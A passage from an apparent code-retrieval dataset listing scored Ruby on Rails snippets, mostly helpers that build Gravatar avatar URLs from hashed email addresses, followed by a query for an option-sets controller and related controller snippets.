"docid": "24f173de763e228bc0e97d0254aae9ca",
"score": "0.6886949",
"text": "def gravatar_for(user, options = { :size => 50 })\n gravatar_image_tag(\"james.jpg\", :alt => user.firstname,\n :class => 'gravatar',\n :gravatar => options)\n end",
"title": ""
},
{
"docid": "48b978090f5dc61975962a5ff219c962",
"score": "0.6883268",
"text": "def gravatar_url(size=48)\n gravatar_id = Digest::MD5.hexdigest(email.downcase)\n \"http://gravatar.com/avatar/#{gravatar_id}.png?s=#{size}\"\n end",
"title": ""
},
{
"docid": "d57561e355a213cc1f16ea1267efc52c",
"score": "0.68700117",
"text": "def image\n require 'digest/md5'\n \"http://www.gravatar.com/avatar/#{Digest::MD5.hexdigest(author_email.downcase)}\"\n end",
"title": ""
},
{
"docid": "fd2e8316f9439a338c1108f3382a05bc",
"score": "0.6855982",
"text": "def gravatar_url(size = 500)\n email_temp = (email || '[email protected]').downcase\n gravatar_id = Digest::MD5::hexdigest(email_temp)\n \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}&d=mm\"\n end",
"title": ""
},
{
"docid": "6cd9811058c6be0a72719fd15fd8b779",
"score": "0.68312764",
"text": "def avatar\n \t\t# get the email from URL-parameters or what have you and make lowercase\n\t\temail_address = self.email.downcase\n\t\t \n\t\t# create the md5 hash\n\t\thash = Digest::MD5.hexdigest(email_address)\n\t\t \n\t\t# compile URL which can be used in <img src=\"RIGHT_HERE\"...\n\t\timage_src = \"http://www.gravatar.com/avatar/#{hash}\"\n \tend",
"title": ""
},
{
"docid": "9f09102571825cebdd2d9c56532e900b",
"score": "0.6827228",
"text": "def gravatar_for(user, size: 80)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.email, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "14feca1e5abbd1581caac759810400a6",
"score": "0.68190885",
"text": "def gravatar_for(user)\n gravatar_url = \"\"\n unless user.authentications.first.nil?\n auth = user.authentications.find_by_provider('facebook')\n unless auth.nil?\n gravatar_url = \"http://graph.facebook.com/#{user.authentications.first.username}/picture?width=180&height=180\"\n u = URI.parse(gravatar_url)\n head = Net::HTTP.get_response(u)\n gravatar_url = head['location']\n end\n else\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n end\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "d94e114059222cc1390d8affa0bf9e92",
"score": "0.6812658",
"text": "def gravatar\n anchor_title = \"#{source.username} GitHub Profile\"\n github_url = GitHub.profile_page(source.username)\n gravatar_url = Gravatar.url(source.gravatar_id)\n\n h.link_to(github_url, title: anchor_title) do\n\n h.image_tag(gravatar_url, alt: source.username,\n width: 90,\n height: 90,\n class: \"img-polaroid\")\n end\n end",
"title": ""
},
{
"docid": "99ca6927f666398d6d7634e7277fd3df",
"score": "0.6803553",
"text": "def gravatar_for(pod)\n gravatar_id = Digest::MD5::hexdigest(pod.description.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\"\n image_tag(gravatar_url, alt: user.id, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "3ea9bcf89826de3a3ba61ad75e6d5752",
"score": "0.67848223",
"text": "def gravatar_url(email,gravatar_options={})\n grav_url = 'http://www.gravatar.com/avatar.php?'\n grav_url << \"gravatar_id=#{Digest::MD5.new.update(email)}\"\n grav_url << \"&rating=#{gravatar_options[:rating]}\" if gravatar_options[:rating]\n grav_url << \"&size=#{gravatar_options[:size]}\" if gravatar_options[:size]\n grav_url << \"&default=#{gravatar_options[:default]}\" if gravatar_options[:default]\n end",
"title": ""
},
{
"docid": "9460cd9c8bd51ccec6ff1c2f154d32e3",
"score": "0.67745346",
"text": "def photo_url\n gravatar_id = Digest::MD5.hexdigest(email.downcase)\n \"https://gravatar.com/avatar/#{gravatar_id}.png\"\n end",
"title": ""
},
{
"docid": "2455e63dac7e8cc75b566c72bab6b9d1",
"score": "0.67734367",
"text": "def gravatar(email, options = {})\n options[:size] ||= 35\n options[:default] ||= 'identicon'\n options[:rating] ||= 'PG'\n options[:class] ||= 'gravatar'\n options[:secure] ||= request.ssl?\n host = (options[:secure] ? 'https://secure.gravatar.com' : 'http://gravatar.com')\n path = \"/avatar.php?gravatar_id=#{Digest::MD5.hexdigest(email.to_s.downcase)}&rating=#{options[:rating]}&size=#{options[:size] * 2}&d=#{options[:default]}\"\n image_tag([host,path].join, :class => options[:class], :width => options[:size], :height => options[:size])\n end",
"title": ""
},
{
"docid": "0e0ba6dff37f65e35eebe43da8d647fb",
"score": "0.67531854",
"text": "def gravatar(type)\n\t\tgravatar_id = Digest::MD5.hexdigest(email.to_s.downcase)\n\t\tforce = type == :mm ? \"\" : \"&f=y\"\n\t\t\"https://gravatar.com/avatar/#{gravatar_id}.png?s=128&d=#{type}#{force}\"\n\tend",
"title": ""
},
{
"docid": "54047d78f3b6f022be0972c002b6187b",
"score": "0.6746149",
"text": "def gravatar_for(user, small=false)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase) \n default_pic = CGI.escape(root_url + \"/emmi200x200.jpg\")\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?d=#{default_pic}\"\n # <img src=\"http://www.gravatar.com/avatar/00000000000000000000000000000000?d=http%3A%2F%2Fexample.com%2Fimages%2Favatar.jpg\" />\n if (small)\n image_tag(gravatar_url + \"&s=32\", alt: user.name, size: \"32x32\", class: \"gravatar\")\n else\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end \n end",
"title": ""
},
{
"docid": "b47f49327633a74475a218126a1363a7",
"score": "0.67242783",
"text": "def gravatar_image_url(email = nil, size = nil)\n url = '//www.gravatar.com/avatar/'\n url += if email\n Digest::MD5.hexdigest(email)\n else\n '0' * 32\n end\n size ? \"#{url}?size=#{size}\" : url\n end",
"title": ""
},
{
"docid": "4b2d3377e7bfa7ac9fbb37233730dc80",
"score": "0.6723687",
"text": "def gravatar_for(user, size)\n\t \tgravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n\t \tgravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n\t image_tag(gravatar_url, alt: user.email, class: \"gravatar\")\n\tend",
"title": ""
},
{
"docid": "88a1acb79fda2022b5d593ef875a083a",
"score": "0.67234033",
"text": "def gravatar(options={})\n configuration = gravatar_options\n\n configuration.update(options) if options.is_a? Hash\n if configuration[:default] =~ /^(https?:\\/\\/|\\/)/i \n configuration[:default] = CGI::escape(configuration[:default]) \n end\n \n url = configuration.delete(:ssl) == true ? SECURE_AVATAR_URL : AVATAR_URL\n \n email = \"#{self.send(configuration[:attr])}\".downcase\n id = Digest::MD5.hexdigest(email)\n params = configuration.collect{ |k, v| \"#{k}=#{v}\" }.join('&')\n \"#{url}/#{id}?#{params}\"\n end",
"title": ""
},
{
"docid": "bee26dd58830be7ab5b55f7f8ef9f0fc",
"score": "0.67199963",
"text": "def gravatar email, *options\n\temail_md5 = Digest::MD5.hexdigest email\n\tunless options.empty?\n\t\tparams = Addressable::URI.new\n\t\tparams.query_values = options.first\n\t\tparams_query = \"?#{params.query}\"\n\tend\n\t\"http://www.gravatar.com/avatar/#{email_md5}#{params_query}\"\nend",
"title": ""
},
{
"docid": "1339000371e15b8ecf920aa8bcbb1477",
"score": "0.67113507",
"text": "def profile_picture_url\n hash = Digest::MD5.hexdigest(email)\n \"https://www.gravatar.com/avatar/#{hash}?d=mm\"\n end",
"title": ""
},
{
"docid": "254d35353ac1375bcbd5baad2e16bc09",
"score": "0.66912633",
"text": "def gravatar_url(email, options={})\n email_hash = Digest::MD5.hexdigest(email)\n options = DEFAULT_OPTIONS.merge(options)\n options[:default] = CGI::escape(options[:default]) unless options[:default].nil?\n gravatar_api_url(email_hash, options.delete(:ssl)).tap do |url|\n opts = []\n [:rating, :size, :default].each do |opt|\n unless options[opt].nil?\n value = h(options[opt])\n opts << [opt, value].join('=')\n end\n end\n url << \"?#{opts.join('&')}\" unless opts.empty?\n end\nend",
"title": ""
},
{
"docid": "b007bc6b9d4fb55dc5ab9c0ec490c87a",
"score": "0.665996",
"text": "def gravatar_for user,options = {:size=>40}\n if options[:class].blank?\n cclass = \"img-circle\"\n else\n cclass = options[:class]\n end\n gravatar_image_tag user.email.downcase,\n :class=>cclass,\n :alt=>user.name.capitalize,\n :gravatar=>options,\n :style => options[:style] unless options[:style].blank?\n end",
"title": ""
},
{
"docid": "db0a947d2953fa5bc501e0840c0a77b5",
"score": "0.66456294",
"text": "def gravatar_for(user, options)\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n options[:style] == :thumb ? size = 50 : size = 200 \n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar img-rounded\")\n end",
"title": ""
},
{
"docid": "0b3d243adf7b60a6db0d76f99ca1bd8c",
"score": "0.66252774",
"text": "def gravatar_url(size)\n \"https://www.gravatar.com/avatar/?default=mm&size=#{size}\"\n end",
"title": ""
},
{
"docid": "a87f9f952392a5889ebcc2c3f34f2b81",
"score": "0.66076434",
"text": "def gravatar_for(user, options = { size: 50})\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\nend",
"title": ""
},
{
"docid": "707d01d8e3851f3a116d6b26fc977f03",
"score": "0.65911144",
"text": "def gravatar_path\n \"/avatar/#{Digest::MD5.hexdigest(email)}?s=48&r=r&d=#{ENCODED_DEFAULT_AVATAR}\"\n end",
"title": ""
},
{
"docid": "02a03dd9dbbad4e5f812d07f78b89cb8",
"score": "0.6589422",
"text": "def avatar_url\n return image_url if image_url\n return DEFAULT_AVATAR if email.nil?\n\n gravatar_url\n end",
"title": ""
},
{
"docid": "09fbe84d7116a2f452e14e9803ad0407",
"score": "0.65883523",
"text": "def gravatar_for(user, options = { size: 80 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\nend",
"title": ""
},
{
"docid": "c2fdf7ba703d5f1c752eb255c2e78681",
"score": "0.6583504",
"text": "def gravatar_image(gravatar_response)\n (gravatar_response.to_s)[/http\\W*[\\w\\W]*\\?/]\n end",
"title": ""
},
{
"docid": "a7154db54c4b0f0e48343e095db441f7",
"score": "0.6535753",
"text": "def gravatar_url(email, options={})\n email_hash = Digest::MD5.hexdigest(email)\n options = DEFAULT_GRAVATAR_OPTIONS.merge(options)\n options[:default] = CGI::escape(options[:default]) unless options[:default].nil?\n gravatar_api_url(email_hash, options.delete(:ssl)).tap do |url|\n opts = []\n [:rating, :size, :default].each do |opt|\n unless options[opt].nil?\n value = h(options[opt])\n opts << [opt, value].join('=')\n end\n end\n url << \"?#{opts.join('&')}\" unless opts.empty?\n end\n end",
"title": ""
},
{
"docid": "cf370b133c46cd300c2ad80de1e87011",
"score": "0.65014476",
"text": "def avatar(user, options = { })\r\n if Setting.gravatar_enabled?\r\n email = nil\r\n if user.respond_to?(:mail)\r\n email = user.mail\r\n elsif user.to_s =~ %r{<(.+?)>}\r\n email = $1\r\n end\r\n return gravatar(email.to_s.downcase, options) unless email.blank? rescue nil\r\n end\r\n end",
"title": ""
},
{
"docid": "7b1631cfd849c1e73ce7794efb871824",
"score": "0.64963406",
"text": "def gravatar_image_url(size_in_pixels=32)\n email_hash = Digest::MD5.hexdigest(email.strip.downcase)\n \"https://secure.gravatar.com/avatar/#{ email_hash }?s=#{ size_in_pixels.to_i }&d=retro\"\n end",
"title": ""
},
{
"docid": "8faa30ad4f52f41a22f3cc042be8d6d2",
"score": "0.64840245",
"text": "def user_image_tag(email, size = 1)\n if APP_CONFIG.enabled?(\"gravatar\")\n gravatar_image_tag(email)\n else\n render html: \"<i class=\\\"fa fa-user fa-#{size}x\\\"></i>\".html_safe\n end\n end",
"title": ""
},
{
"docid": "e5c8bfadfe3481760d9d92d6ee9200bb",
"score": "0.6447717",
"text": "def create_gravatar_url\n\t\t\"http://www.gravatar.com/avatar/#{md5_hash_email(self.email)}?r=g&s=200&d=retro\"\n\tend",
"title": ""
},
{
"docid": "aa72072080ba97723a42b6d1a4fe992d",
"score": "0.6446933",
"text": "def gravatar_for(user, options = {size: 80})\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.username, class: \"img-circle gravatar\")\n end",
"title": ""
},
{
"docid": "18d29c463bfcf3a64779c98bdd72cad1",
"score": "0.6399068",
"text": "def gravatar_for(user, options = { size: 80 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.first_name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "21f7789f4963da36dcb44b666ac31700",
"score": "0.6393049",
"text": "def gravatar_for(user, options = {size: 80})\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "7bb8e1295431c18325b4533c42c8411f",
"score": "0.6382894",
"text": "def smol_avatar_url\n # Gravatar uses MD5 hashes of people's email addresses, so it works well here.\n hash = Digest::MD5.hexdigest(email)\n \"http://www.gravatar.com/avatar/#{hash}?size=50px\"\n end",
"title": ""
},
{
"docid": "4a8c45f1113e702bb66281289064c90d",
"score": "0.63732743",
"text": "def gravatar_for(user, options = { size: 80 })\n # Standardize on all lower-case addresses\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.email, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "4a8c45f1113e702bb66281289064c90d",
"score": "0.63732743",
"text": "def gravatar_for(user, options = { size: 80 })\n # Standardize on all lower-case addresses\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.email, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "03097fd1aa57cff0e043156784dd7022",
"score": "0.6368395",
"text": "def gravatar_image(email, size=50, opts={})\n hash = Digest::MD5.hexdigest(email)\n url = \"http://www.gravatar.com/avatar/#{hash}?s=#{size}\"\n image_tag url, {:class => :gravatar}.merge(opts)\n end",
"title": ""
},
{
"docid": "586b32976e09416910255fe47802387f",
"score": "0.63505036",
"text": "def gravatar_for(user, options = { size: Settings.helper.size })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "ecc2658cfacb30157827b7be8bebd7ac",
"score": "0.6346846",
"text": "def gravatar_url(options = { rating: 'g'})\n opts = options.collect {|key, value| \"#{key}=#{value}\"}.join('&')\n \"https://secure.gravatar.com/avatar/#{self.gravatar_id}.png?#{opts}\"\n end",
"title": ""
},
{
"docid": "a28115346f1e2d597154257d8f6c87b6",
"score": "0.6341149",
"text": "def generate_gravatar\n #unless is to make shoulda validations pass\n unless self.email == nil\n self.gravatar_hash = Digest::MD5.hexdigest(self.email)\n end\n end",
"title": ""
},
{
"docid": "1c31b9d474b4fcd871b5498a3ef72e88",
"score": "0.63408124",
"text": "def gravatar_for(user, options = { size: 50 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.full_name, class: 'gravatar')\n end",
"title": ""
},
{
"docid": "62288afb261a5b96d2e28354183d16f8",
"score": "0.63379604",
"text": "def avatar_url(size)\n gravatar_id = Digest::MD5::hexdigest(self.email).downcase\n \"http://gravatar.com/avatar/#{gravatar_id}.png?s=#{size}\"\n end",
"title": ""
},
{
"docid": "957712742ed624805e98458e85a52410",
"score": "0.6331799",
"text": "def gravatar_for(user, options = { size: 80 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "94c68a515b7044dfcb3bfb25f1547bf9",
"score": "0.63311183",
"text": "def gravatar_for(user, size = nil, options={} )\n gravatar_id = Digest::MD5::hexdigest(user.email.chomp.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?d=retro\"\n gravatar_url += \"&size=#{size}\" unless size.nil?\n\n options = { alt: user.nickname, class: \"gravatar\" }.merge options\n options[:height] = size unless size.nil?\n options[:width] = size unless size.nil?\n\n image_tag( gravatar_url, options )\n end",
"title": ""
},
{
"docid": "14880f884a05fd415d7be88810ff4536",
"score": "0.6308446",
"text": "def profile_image(profile)\n url = Gravatar.new(profile.display_email || '@').image_url size: 40,\n secure: true, default: :mm\n image_tag url, alt: \"gravatar for #{profile.name}\",\n style: 'width: 40px; height: 40px;'\n end",
"title": ""
},
{
"docid": "2482c4030bee2f30e797d8aa308b6651",
"score": "0.6304886",
"text": "def gravatar_for(user, options = { size: 60 })\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "0a4693feba4911a9901698cd144a407b",
"score": "0.6282985",
"text": "def signin(email)\n\n email_address = email.downcase\n\n # create the md5 hash\n hash = Digest::MD5.hexdigest(email_address)\n\n # compile URL which can be used in <img src=\"RIGHT_HERE\"...\n return \"http://www.gravatar.com/avatar/#{hash}\"\n\nend",
"title": ""
},
{
"docid": "95fe1c8482624c287a329c95cf42c296",
"score": "0.6279071",
"text": "def new_avatar(avatar,comment)\n gravatar_url_from_email(comment.email)\n end",
"title": ""
},
{
"docid": "1f6243548509f5119ae045d4130ac3ce",
"score": "0.6278844",
"text": "def gravatar_for(user, options = { size: 50 })\n gravatar_url = \"\"\n size = options[:size]\n unless user.authentications.first.nil?\n if user.authentications.first.provider == 'facebook'\n gravatar_url = \"http://graph.facebook.com/#{user.authentications.first.username}/picture?width=#{size}&height=#{size}\"\n else\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\" \n end\n else\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n end\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "bcd963cbc22e6609276fe091dff6e785",
"score": "0.6260081",
"text": "def gravatar_for(user, options = { size: 40 }) \n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n size = options[:size]\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n #gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}\" #Chapter 7 version, Chapter 7 excercise version on line above ^\n #gravatar_url = \"https://secure.gravatar.com/avatar/614692da29e7cacc0bf3862783be7456\"\n image_tag(gravatar_url, alt: LARD, class: \"gravatar\")\n #image_tag(gravatar_url, class: \"gravatar\")\n end",
"title": ""
},
{
"docid": "3624427a7eabdc6b7b6920ced40a940f",
"score": "0.625096",
"text": "def email=(email)\n self[:email] = email\n self[:gravatar] = Digest::MD5.hexdigest(email) if email.present?\n end",
"title": ""
},
{
"docid": "074a5169e8f3ee9e5f20d9610f9d4eec",
"score": "0.6248981",
"text": "def email\n return unless @user.loa3?\n\n value_for('emails')&.first\n end",
"title": ""
},
{
"docid": "72052da1edba586050022663ee861acb",
"score": "0.62391204",
"text": "def set_gravatar_url\n gravatar_id = Digest::MD5.hexdigest(user.email.downcase)\n \"https://secure.gravatar.com/avatar/#{gravatar_id}.png\"\n end",
"title": ""
},
{
"docid": "b3fbe86bf1a71eed0b2824cd329d2727",
"score": "0.62383604",
"text": "def gravatar_for(user, options = { size: 100 } )\n\t\tgravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n\t\tsize = options[:size]\n\t\tgravatar_url = \"http://gravatar.com/avatar/#{ gravatar_id }.png?s=#{ size }\"\n\t\timage_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n\tend",
"title": ""
},
{
"docid": "5bb36c125ca5a5fc26c134a96351df52",
"score": "0.6236564",
"text": "def big_avatar_url\n # Gravatar uses MD5 hashes of people's email addresses, so it works well here.\n hash = Digest::MD5.hexdigest(email)\n \"http://www.gravatar.com/avatar/#{hash}?size=800px\"\n end",
"title": ""
},
{
"docid": "a385bac2c17a65e03e4ff950f830026e",
"score": "0.6194993",
"text": "def gravatar_for(user, options = { size: 50 })\n gravatar_url = \"\"\n begin\n size = options[:size]\n unless user.authentications.first.nil?\n auth = user.authentications.find_by_provider('facebook')\n unless auth.nil?\n size = (size.to_i-10).to_s\n gravatar_url = \"http://graph.facebook.com/#{auth.username}/picture?width=#{size}&height=#{size}\"\n u = URI.parse(gravatar_url)\n head = Net::HTTP.get_response(u)\n gravatar_url = head['location']\n else\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\" \n end\n else\n gravatar_id = Digest::MD5::hexdigest(user.email.downcase)\n gravatar_url = \"https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}\"\n end\n rescue Exception => e\n end\n image_tag(gravatar_url, alt: user.name, class: \"gravatar\")\n end",
"title": ""
}
] |
43b50006f60534a24aae2b2fab824bbd
|
GET /option_sets/1 GET /option_sets/1.json
|
[
{
"docid": "78849a92e79eda0871294cebe7b163b0",
"score": "0.5962751",
"text": "def show\n authorize @option_set\n end",
"title": ""
}
] |
[
{
"docid": "8e2e3c5359d82ba174703a6143c39e8b",
"score": "0.712095",
"text": "def index\n authorize OptionSet\n @option_sets = OptionSet.all\n end",
"title": ""
},
{
"docid": "0790f46eef64360abd77663fbcf97fd7",
"score": "0.67047864",
"text": "def index\n @options = Option.all\n\n render json: @options\n end",
"title": ""
},
{
"docid": "847602506c83aa856aebe82acad125c4",
"score": "0.6626648",
"text": "def show\n @poll_option_set = PollOptionSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @poll_option_set }\n end\n end",
"title": ""
},
{
"docid": "836c3bd7829a76b5bb3565adec692af1",
"score": "0.65187347",
"text": "def set_option_set\n @option_set = OptionSet.find(params[:id])\n end",
"title": ""
},
{
"docid": "12b71503aec4cba95f83130cd07576b7",
"score": "0.6504916",
"text": "def show\n @standard_poll_option_set = StandardPollOptionSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @standard_poll_option_set }\n end\n end",
"title": ""
},
{
"docid": "71acaa5a58fe47267124d16e3d3ebe02",
"score": "0.6426768",
"text": "def show\n render json: @option\n end",
"title": ""
},
{
"docid": "cbfb9274ac24887b34d7111f72c8fa7b",
"score": "0.6397976",
"text": "def show *_\n @option = users_options.find(params[:id])\n\n render json: @option\n end",
"title": ""
},
{
"docid": "6dbb3d112497318ba35ba19553b378b1",
"score": "0.6336526",
"text": "def show\n @option = @asset.options.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @option }\n end\n end",
"title": ""
},
{
"docid": "660396a4081b1f662dd72ff1c1ddd3bd",
"score": "0.63109064",
"text": "def index\n render json: @options\n end",
"title": ""
},
{
"docid": "083c4dbbc1774ae5fa888483ddb6cd81",
"score": "0.6195829",
"text": "def show\n @option = Option.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @option }\n end\n end",
"title": ""
},
{
"docid": "7654e83f9c581e42931ed0abc6fd977f",
"score": "0.6165726",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @option_group }\n end\n end",
"title": ""
},
{
"docid": "9c9114c608b19276e69fb011725a3bbd",
"score": "0.61223966",
"text": "def show\n @user = User.find(session[:user_id])\n @question = Option.find(params[:id])\n @option = Option.new\n @options = Option.find(:all, :conditions => [\"option_id = ?\", params[:id]])\n @json = Option.json_tree(Option.find(:all, :conditions => {:option_id => 0, :quiz_id => Option.find(params[:id]).quiz_id}))\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @option }\n end\n end",
"title": ""
},
{
"docid": "9f52389d61663cdbf9eddfee4261bca9",
"score": "0.6073235",
"text": "def index\n @options = Option.all\n end",
"title": ""
},
{
"docid": "9f52389d61663cdbf9eddfee4261bca9",
"score": "0.6073235",
"text": "def index\n @options = Option.all\n end",
"title": ""
},
{
"docid": "9f52389d61663cdbf9eddfee4261bca9",
"score": "0.6073235",
"text": "def index\n @options = Option.all\n end",
"title": ""
},
{
"docid": "9f52389d61663cdbf9eddfee4261bca9",
"score": "0.6073235",
"text": "def index\n @options = Option.all\n end",
"title": ""
},
{
"docid": "a9e51df2242f150bf3d5a8aeee429b66",
"score": "0.60724294",
"text": "def show\n @api_sets = @handler.get_sets\n @db_sets = @catalog.catalog_sets\n end",
"title": ""
},
{
"docid": "212d8e8c08f209966ec8b11b8e2b020a",
"score": "0.6029055",
"text": "def show\n @gemset = Gemset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gemset }\n end\n end",
"title": ""
},
{
"docid": "d46940572b403669758b830976c7be6a",
"score": "0.6009455",
"text": "def option_sets_for_select\n option_sets.collect{|x| [x.name, x.id]}\n end",
"title": ""
},
{
"docid": "4ce880285574a82ddabd58e0e1c16cbd",
"score": "0.6005904",
"text": "def index\n @response_options = ResponseOption.all\n end",
"title": ""
},
{
"docid": "ea5a46ccc50f4b0eb0b6886a4a095098",
"score": "0.6005781",
"text": "def new\n @poll_option_set = PollOptionSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @poll_option_set }\n end\n end",
"title": ""
},
{
"docid": "a55dfe923ae891da8920e11728bc243f",
"score": "0.59984285",
"text": "def show\n @opt = Opt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @opt }\n end\n end",
"title": ""
},
{
"docid": "35b08984924b3050def97511dc0f746b",
"score": "0.5993393",
"text": "def index\n @option_groups = OptionGroup.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @option_groups }\n end\n end",
"title": ""
},
{
"docid": "83eb1c7d978545a21d0549b10ac64969",
"score": "0.5976043",
"text": "def index\n @question_options = QuestionOption.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_options }\n end\n end",
"title": ""
},
{
"docid": "1e5f456e5a4e8b870d84c440d31f713b",
"score": "0.5963343",
"text": "def index\n #if params[:option_type].present?\n @options = Option.find_all_by_option_type('custom_field')\n @options.each{|opt| opt.value = YAML.load(opt.value)}\n #else\n # @options = Option.all\n #end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @options }\n end\n end",
"title": ""
},
{
"docid": "bd05089e3cfc678ca5ebeba29a17958e",
"score": "0.5939373",
"text": "def get_options; end",
"title": ""
},
{
"docid": "054b8b6b06d93bdcb12109d1e6ef3924",
"score": "0.5914971",
"text": "def option_collection\n list_option\n end",
"title": ""
},
{
"docid": "a049ea04eb0f006b81910d43be722392",
"score": "0.5901059",
"text": "def show\n @option_type = OptionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @option_type }\n end\n end",
"title": ""
},
{
"docid": "a049ea04eb0f006b81910d43be722392",
"score": "0.5901059",
"text": "def show\n @option_type = OptionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @option_type }\n end\n end",
"title": ""
},
{
"docid": "ebced4184bd67f29be119f084f696bf5",
"score": "0.58970284",
"text": "def get_options\n response = @http.get(\"session/scenario/options\")\n msg response, Logger::DEBUG\n return response\n end",
"title": ""
},
{
"docid": "31cdba31bb2739335cb39819441566f6",
"score": "0.58821845",
"text": "def index\n @lift_sets = LiftSet.all\n\n render json: @lift_sets\n end",
"title": ""
},
{
"docid": "944ccb28849689f7eb78e095eab2e890",
"score": "0.5875132",
"text": "def show\n get_options\n end",
"title": ""
},
{
"docid": "7c5b6a3498e591c9b19eec7bf57bb793",
"score": "0.58737934",
"text": "def options\n render json: BonusElementItem.options(options_params)\n end",
"title": ""
},
{
"docid": "b860d3fad064729a430823957db874e6",
"score": "0.58313763",
"text": "def new\n @option = Option.new\n\n render json: @option\n end",
"title": ""
},
{
"docid": "3a3040e97eae4463c9bc12fbd8021709",
"score": "0.5827722",
"text": "def show\n @question_option = QuestionOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_option }\n end\n end",
"title": ""
},
{
"docid": "a9321ccc8a0b7e9480d076b00d1a67e3",
"score": "0.5812966",
